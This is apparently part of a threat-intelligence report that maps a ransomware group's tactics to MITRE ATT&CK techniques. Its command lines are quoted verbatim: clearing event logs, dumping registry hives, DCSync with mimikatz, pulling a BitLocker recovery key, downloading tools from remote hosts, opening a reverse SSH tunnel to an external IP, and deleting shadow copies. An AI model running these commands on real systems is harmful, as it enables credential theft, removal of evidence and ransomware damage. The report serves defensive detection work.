	T1078.002	**Valid Accounts: Domain Accounts** Toy Ghouls use existing domain accounts.
	T1078.003	**Valid Accounts: Local Accounts** Toy Ghouls use existing local accounts
Defense Evasion	T1070.001	**Indicator Removal: Clear Windows Event Logs** Toy Ghouls may use wevtutil.exe to enumerate and clear all Windows Event Logs, hindering defenders from reconstructing attacker activity: "for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1""
	T1070.004	**Indicator Removal: File Deletion** Toy Ghouls may remove RDP session files such as Default.rdp and alter their attributes to conceal traces of remote access activity: "attrib Default.rdp -s -h; del Default.rdp". Also, Toy Ghouls may delete installation artifacts (such as downloaded ZIP files) to reduce forensic visibility and hinder incident response efforts: "rm nssm.zip"; "rm ltn.zip"

	T1070.007	**Indicator Removal: Clear Network Connection History and Configurations** Toy Ghouls can remove or modify Terminal Services registry keys to clear RDP connection history, erasing digital footprints of remote access activity: "reg delete "HKCU\Software\Microsoft\Terminal Server Client\Default" /va /f"; "reg delete "HKCU\Software\Microsoft\Terminal Server Client\Servers" /f"; "reg add "HKCU\Software\Microsoft\Terminal Server Client\Servers"
	T1562.001	**Impair Defenses: Disable or Modify Tools** Toy Ghouls may disable security tools, such as security services, using "net stop" to weaken host defenses prior to executing malicious payloads.
	T1562.004	**Impair Defenses: Disable or Modify System Firewall** Toy Ghouls change the firewall settings: ”netsh advfirewall firewall add rule name="AllowInboundMSSQLConnection" action=allow dir=in protocol=TCP localport=1433”
Credential Access	**T1003.001**	**OS Credential Dumping: LSASS Memory** Toy Ghouls use mimikatz to access LSA secrets.
	T1003.002	**OS Credential Dumping: Security Account Manager** Threat actor may dump sensitive Windows registry hives such as SAM, SECURITY and SYSTEM using "reg save" to obtain credential material, system secrets for offline credential extraction: ""$system32\cmd.exe" /c reg save HKLM\SAM SAM /y & reg save HKLM\SECURITY SECURITY /y"
	T1003.004	**OS Credential Dumping: LSA Secrets** Toy Ghouls use mimikatz to access LSA secrets.
	T1003.006	**OS Credential Dumping: DCSync** Toy Ghouls conduct the DCSync attack using mimikatz. “lsadump::dcsync /user:[USER]”
	T1649	**Steal or Forge Authentication Certificates** Toy Ghouls abuse an ESC1 misconfiguration in Active Directory Certificate Services to request authentication certificates from a low-privileged account, enabling impersonation of Domain Administrator accounts.
	T1552	**Unsecured Credentials** Toy Ghouls may query BitLocker protectors using "manage-bde" to retrieve the recovery password associated with an encrypted volume, enabling them to unlock or access encrypted drives: "cmd.exe /c manage-bde -protectors -get C: -Type recoverypassword"
Discovery	**T1482**	**Domain Trust Discovery** Toy Ghouls use ADRecon for clarifying trust relations with other domains.
	T1087	**Account Discovery** Toy Ghouls may enumerate local accounts using "net user" to gather information on available credentials or potential lateral movement targets. Also,

		threat actors may enumerate active user sessions using "quser" to identify logged-in accounts or hijackable interactive sessions.
	T1046	**Network Service Discovery** Toy Ghouls use fscan for scanning systems for an open SMB-port.
	T1057	**Process Discovery** Toy Ghouls may enumerate files and directories using built-in Windows utilities to identify user profiles, system activity, or potential targets for further exploitation: "cmd.exe /c "dir C:\Users > $temp\res.txt""; "dir OpenSSH-Win64\"
	T1082	**System Information Discovery** Toy Ghouls use fscan to scan systems for NetBIOS name and OS version. Also, Toy Ghouls may query detailed operating system information such as version, installed patches, and hardware configuration using "systeminfo" to support follow-on actions or identify vulnerabilities.
	T1016	**System Network Configuration Discovery** Toy Ghouls can gather local network configuration information using "ipconfig" to identify interfaces, DNS configuration.
	T1049	**System Network Connections Discovery** Toy Ghouls may query ARP tables to enumerate nearby hosts on the local subnet, aiding in reconnaissance for lateral movement: "arp -a"
	T1033	**System Owner/User Discovery** Toy Ghouls can use "whoami" to determine the current user identity and execution context, which may influence privilege escalation or credential theft strategies.
Lateral Movement	**T1021.001**	**Remote Services: Remote Desktop Protocol** Toy Ghouls use RDP to move laterally across the network.
	T1021.004	**Remote Services: SSH** Toy Ghouls may deploy and execute SSH binaries on a compromised system to enable outbound remote access using SSH-based channels.
	T1550.002	**Use Alternate Authentication Material: Pass the Hash** Toy Ghouls use NTLM-password hashes for authentication.
Command and Control	**T1105**	**Ingress Tool Transfer** Toy Ghouls can use PowerShell's Invoke-WebRequest to retrieve remote payloads and extract them into writable directories such as C:\Windows\Temp using Expand-Archive: "powershell iwr hxxp://localtonet[.]com/download/localtonet-win-64.zip -outfile ltn.zip -usebasicparsing; expand-archive -force -path ltn.zip -destinationpath C:\Windows\Temp"; "certutil.exe -urlcache -f https://github.com/.../OpenSSH-Win64.zip open.zip"

	T1572	**Protocol Tunneling** Toy Ghouls can establish a reverse SSH tunnel using port forwarding (-R) to expose internal services to an external host, enabling stealthy remote access or C2 communication while bypassing inbound network restrictions: "cmd.exe /C "cd openssh-win64 && ssh.exe -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -o ServerAliveCountMax=15 -f -N -R 35250 -p53 botssuckmydick@31.56.27[.]60""
Impact	**T1486**	**Data Encrypted for Impact** Toy Ghouls encrypt the files in order to obtain a ransom.
	T1490	**Inhibit System Recovery** Toy Ghouls may delete Volume Shadow Copies via vssadmin.exe to inhibit system recovery, preventing victims from restoring files after data encryption: "vssadmin.exe Delete Shadows /All /Quiet"
	T1489	**Service Stop** Toy Ghouls shut down the database service before encrypting the databases.